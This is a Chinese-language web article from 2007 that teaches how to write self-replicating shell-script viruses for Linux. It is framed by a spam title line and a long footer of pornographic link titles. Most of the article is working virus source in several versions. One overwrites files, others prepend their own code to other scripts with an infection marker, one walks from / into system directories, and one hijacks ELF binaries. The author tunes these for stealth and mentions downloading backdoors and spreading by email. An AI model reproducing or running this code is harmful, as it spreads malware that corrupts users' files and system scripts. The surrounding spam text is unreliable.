国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關(guān)注微信公眾號

感染Linux系統(tǒng)腳本程序的病毒技術(shù)介紹
2007-08-01   

主要的Shell病毒技術(shù)
當(dāng)然,本文需要你至少了解Linux Shell編程的基礎(chǔ)知識和一星點(diǎn)的病毒知識。OK!我們進(jìn)入正題!
我們來看一個最原始的shell病毒,代碼最能說明問題:

#shellvirus I 
for file in * 
do 
cp $0 $file 
done
簡單吧?遍歷當(dāng)前文件系統(tǒng)的所有文件,然后覆蓋所有文件。但是,我們知道linux是多用戶的操作系統(tǒng),它的文件是具有保護(hù)模式的,所以以上的腳本有可能會報出一大堆的錯誤,所以它很快就會被管理員發(fā)現(xiàn)并制止它的傳染。所以我們可以為該腳本做個判斷,這樣隱蔽性就大大增強(qiáng)了:
#shellvirus II 
for file in * 
do 
if test -f $file 
then 
if test -x $file 
then 
if test -w $file 
then 
if grep -s echo $file >.mmm 
then 
cp $0 $file 
fi; fi; fi; fi; fi 
done 
rm .mmm -f
ok.我們改進(jìn)了一下,加了若干的判斷,判斷文件是否存在,是否文件可執(zhí)行,是否我們有權(quán)限寫,再判斷它是否是腳本程序如果是就cp $0 $file,所以這段代碼是感然該系統(tǒng)所有的腳本程序的,危害性還是比較大的。
if grep -s echo $file>/.mmm 
這句也可以這樣寫:
if file $file | grep -s 'Bourne shell script' > /dev/nul ; then,也就是判斷file是否為shell腳本程序。但是,腳本病毒一旦在感染完畢之后就什么也不做了,它沒有象二進(jìn)制病毒那樣的潛伏的危害性,而且以上的腳本只是簡單的覆蓋宿主而已,所以我這里利用了一下傳統(tǒng)的二進(jìn)制病毒的感染機(jī)制,效果也不錯:),看看下面代碼:
#infection 
head -n 24 $0 > .test<-取自身保存到.test 
for file in *<-遍歷文件系統(tǒng) 
do 
if test -f $file<-判斷是否為文件 
then 
if test -x $file<-判斷文件是否可執(zhí)行 
then 
if test -w $file<-判斷文件是否可寫 
then 
if grep -s echo $file >.mmm<-判斷是否為腳本程序 
then 
head -n 1 $file >.mm<-提取要感染的腳本程序的第一行 
if grep -s infection .mm >.mmm<-判斷該文件是否已經(jīng)被感染 
then 
rm -f .mm<-已經(jīng)被感染,則跳過 
else<-還未被感染 
cat $file > .SAVEE<-很熟悉吧?借用了傳統(tǒng)的二進(jìn)制文件的感染機(jī)制 
cat .test > $file 
cat .SAVEE >> $file 
fi; fi; fi; fi; fi 
done 
rm .test .SAVEE .mmm .mm -f
程序的注解足以說明了,其實(shí)增加了潛伏的危害性,但還是特容易被發(fā)現(xiàn),沒辦法的事情,shell腳本一般都是明文的,呵呵。不過危害性已經(jīng)相當(dāng)大了.這段程序用了一個感染標(biāo)志:infection來判斷是否已經(jīng)被感染,著在程序中可以反應(yīng)出來。
ok,為了使上面的代碼不容易被發(fā)現(xiàn),我必須優(yōu)化它,最先考慮的肯定是精練代碼:
#infection 
for file in * ;do 
if test -f $file && test -x $file && test -w $file ; then 
if grep -s echo $file > /dev/nul ; then 
head -n 1 $file >.mm 
if grep -s infection .mm > /dev/nul ; then 
rm .mm -f ; else 
cat $file > .SAVEE 
head -n 13 $0 > $file 
cat .SAVEE >> $file 
fi; fi; fi 
done 
rm .SAVEE .mm -f
現(xiàn)在只有兩個臨時文件的產(chǎn)生了,代碼也被精簡到了13行.當(dāng)然可以完全用;來把代碼甚至寫到1-2行,但這里我只是說明問題,就
不寫出來了.
好,我們看看,shell病毒還能做哪些有用的事情,有可能我們想感染別的目錄的文件,比如根目錄或者是/etc,/bin等等,因?yàn)榇蠖?
數(shù)有用的系統(tǒng)配置腳本都存放在那些目錄下,只要對上述代碼稍作改動就可以實(shí)現(xiàn)了:)
#infection 
xtemp=$pwd<-保存當(dāng)前路徑 
head -n 22 $0 > /.test 
for dir in /* ; do<-遍歷/目錄 
if test -d $dir ; then<-如果是目錄就cd該目錄 
cd $dir 
for file in * ; do<-遍歷該目錄文件 
if test -f $file && test -x $file && test -w $file ; then<-確定文件是否可執(zhí)行,可寫 
if grep -s echo $file > /dev/nul ; then<-確定是否為腳本程序 
head -n 1 $file > .mm 
if grep -s infection .mm > /dev/nul ; then<-確定是否已經(jīng)被感染 
rm .mm -f ; else 
cat $file > /.SAVEE<-和前面的感染機(jī)制一樣感染未被感染的腳本程序 
cat /.test > $file 
cat /.SAVEE >> $file 
fi; fi; fi 
done 
cd .. 
fi 
done 
cd $xtemp<-返回原目錄 
rm /.test /.SAVEE .mm -f
其實(shí)這段代碼只感染了/目錄下的一層目錄.當(dāng)然我們可以使它感染的更深,只是加幾個循環(huán)而已.同樣shell病毒可以做很多事情
如download后門程序,為機(jī)器自動開后門,主動去攻擊聯(lián)網(wǎng)的其他機(jī)器,取用戶的email來發(fā)送傳染等等.總之它的實(shí)現(xiàn)技術(shù)不高深,
但也比較實(shí)用,還是值得去說明一下的,呵呵.
同樣,我們也可以感染elf文件,但危害性很小,這里不重點(diǎn)講,給個例程大家理解一下吧。
for file in * ;do 
if test -f $file && test -x $file && test -w $file ; then 
if file $file | grep -s 'ELF' > /dev/nul ; then 
mv $file .$file 
head -n 9 $0 > $file 
fi; fi 
done 
.$0


熱詞搜索:

上一篇:IP安全加密 IPSec安全技術(shù)全面接觸(1)
下一篇:加固Linux服務(wù)器的絕招(1)

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
欧美日韩成人综合| 欧美11—12娇小xxxx| 欧美日韩一区三区| 久久一区中文字幕| 欧美午夜影院| 女同性一区二区三区人了人一| 亚洲一区二区影院| 亚洲欧美日韩精品在线| 先锋影音网一区二区| 亚洲黄色免费| 亚洲视频播放| 久久成人精品一区二区三区| 久久久久一区二区三区| 欧美黄在线观看| 欧美日韩在线另类| 欧美日韩在线电影| 国产精品久久久久aaaa| 国产欧美在线观看| 亚洲精品久久久久久下一站| 亚洲视频在线一区观看| 欧美一级日韩一级| 欧美日韩精品一本二本三本| 国产一区二区三区网站| 日韩一级免费观看| 蜜桃av噜噜一区| 伊人色综合久久天天五月婷| 亚洲国产另类精品专区| 翔田千里一区二区| 欧美黄色视屏| 欧美日韩精品免费看| 一区二区三区在线观看视频 | 国产女精品视频网站免费| 91久久精品国产91性色tv| 久久九九全国免费精品观看| 狠狠久久婷婷| 蜜臀av国产精品久久久久| 亚洲欧洲日本国产| 欧美久久久久久久| 欧美亚洲一区三区| 1204国产成人精品视频| 欧美巨乳在线观看| 欧美在线在线| 亚洲香蕉成视频在线观看| 国产精品久久二区| 国产精品地址| 国产精品一区免费观看| 亚洲一区二区免费视频| 国产午夜精品理论片a级大结局 | 国产精品视频网站| 在线观看一区欧美| 亚洲欧美亚洲| 欧美久久在线| 亚洲高清不卡在线| 欧美一级黄色网| 欧美日韩亚洲激情| 伊人成综合网伊人222| 亚洲欧美另类综合偷拍| 欧美三级免费| 99在线精品观看| 美日韩丰满少妇在线观看| 国产精品推荐精品| 亚洲影院免费观看| 欧美精品一区三区| 艳妇臀荡乳欲伦亚洲一区| 欧美精品粉嫩高潮一区二区 | 欧美日韩国产123| 在线观看91久久久久久| 农村妇女精品| 樱桃视频在线观看一区| 免费在线观看一区二区| 亚洲精品系列| 欧美视频观看一区| 欧美在线播放一区| 影音先锋日韩有码| 久久综合给合久久狠狠狠97色69| 国内精品视频一区| 一本久久综合亚洲鲁鲁| 免费观看国产成人| 亚洲成人在线网| 欧美伦理a级免费电影| 亚洲天堂成人在线视频| 国产欧美激情| 欧美日产在线观看| 久久av在线看| 亚洲精品小视频| 国产美女精品在线| 理论片一区二区在线| 亚洲永久网站| 一区二区三区精品| 亚洲电影天堂av| 国产欧美一区二区三区在线看蜜臀 | 久久国产精品久久久久久久久久| 国产一区二区中文| 欧美日韩精品一二三区| 久久精品一区蜜桃臀影院 | 久久人91精品久久久久久不卡| 亚洲国产精品一区二区久| 国产一区 二区 三区一级| 欧美午夜精品理论片a级按摩| 国产美女精品免费电影| 久久成人18免费观看| 99热精品在线观看| 日韩午夜在线电影| 亚洲精品美女免费| 9人人澡人人爽人人精品| 亚洲日产国产精品| 亚洲毛片一区二区| 99综合视频| 午夜精品在线看| 久久成人人人人精品欧| 久久av一区二区三区漫画| 欧美一区二区女人| 免费一级欧美片在线播放| 欧美激情乱人伦| 国产精品久久网站| 国内外成人免费激情在线视频| 国产精品日韩在线一区| 在线不卡a资源高清| 亚洲精品中文字幕在线观看| 亚洲一区二区毛片| 久久久精彩视频| 欧美日韩在线视频首页| 国产视频亚洲| 亚洲美女视频网| 亚洲一区二区三区免费在线观看| 久久国产乱子精品免费女| 久久综合久色欧美综合狠狠| 欧美电影美腿模特1979在线看| 欧美小视频在线| 日韩一区二区精品葵司在线| 久久久久国产精品午夜一区| 国产精品网红福利| 亚洲在线一区二区| 欧美日韩中文字幕在线| 亚洲国产精品免费| 久久久亚洲精品一区二区三区 | 国产欧美一区二区三区在线老狼| 欧美一区二区播放| 国产一区二区三区自拍| 亚洲日本欧美在线| 欧美精品激情在线| 亚洲精品日产精品乱码不卡| 男人的天堂亚洲在线| 国产一区二区在线免费观看 | 国产精品免费网站在线观看| 亚洲国产精品va| 免费日本视频一区| 影音先锋亚洲一区| 欧美精品一区二| 一区二区三区蜜桃网| 欧美日韩国产一区二区| 亚洲精品一区二区三区蜜桃久| 玖玖综合伊人| 日韩视频中文| 国产日韩欧美91| 久久米奇亚洲| 亚洲精品日韩激情在线电影 | 亚洲欧美日本精品| 国产亚洲精品aa午夜观看| 久热这里只精品99re8久| 亚洲免费观看在线观看| 国产精品一国产精品k频道56| 久久精品国语| 久久国产日韩欧美| 一区二区视频欧美| 国产精品日韩在线播放| 亚洲小说春色综合另类电影| 在线性视频日韩欧美| 亚洲一区3d动漫同人无遮挡| 亚洲电影免费| 激情六月婷婷久久| 国产综合激情| 精品成人一区二区三区四区| 国产精品免费久久久久久| 欧美激情国产高清| 欧美国产丝袜视频| 欧美激情无毛| 欧美日韩另类国产亚洲欧美一级| 欧美大片在线看| 欧美精品99| 美国十次成人| 欧美日韩国产在线播放| 国产亚洲aⅴaaaaaa毛片| 亚洲国产高清自拍| 亚洲在线一区| 久久影院午夜论| 美女在线一区二区| 国产精品视区| 99国产精品私拍| 久久久久久综合网天天| 欧美精品18+| 国产欧美日韩综合一区在线播放 | 欧美日韩在线观看一区二区三区| 999亚洲国产精| 久久国产精品久久久久久电车| 免费日韩av片| 黑人极品videos精品欧美裸| 亚洲欧美国产另类| 欧美无乱码久久久免费午夜一区| 欧美日韩中文字幕|